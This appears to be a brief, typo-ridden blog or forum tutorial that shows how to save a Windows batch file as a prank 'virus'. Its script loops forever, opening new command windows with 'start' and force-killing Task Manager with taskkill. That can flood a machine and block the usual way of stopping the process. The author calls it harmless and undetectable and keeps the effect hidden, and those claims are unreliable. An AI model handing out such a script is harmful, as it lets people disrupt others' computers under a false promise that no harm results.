How to Create Virus like Trojan?

A .bat file can let you write in the command prompt without openning the said program. So, Let me tech how to create a virus imitation by the use of it, I called it as virus imitation cause it wont harm to your system nor detect by any antivirus, now lets begin.

open a notepad application then type this following words:
:too
cd\
cd windows
start
taskkill /f /im taskmgr.exe /t
;goto too

how to set it as .bat file? first procedd to save, File Name: "sample.bat"
Save As Type: "all file"

I wont tell you what could be the output, its for you to find it out. :)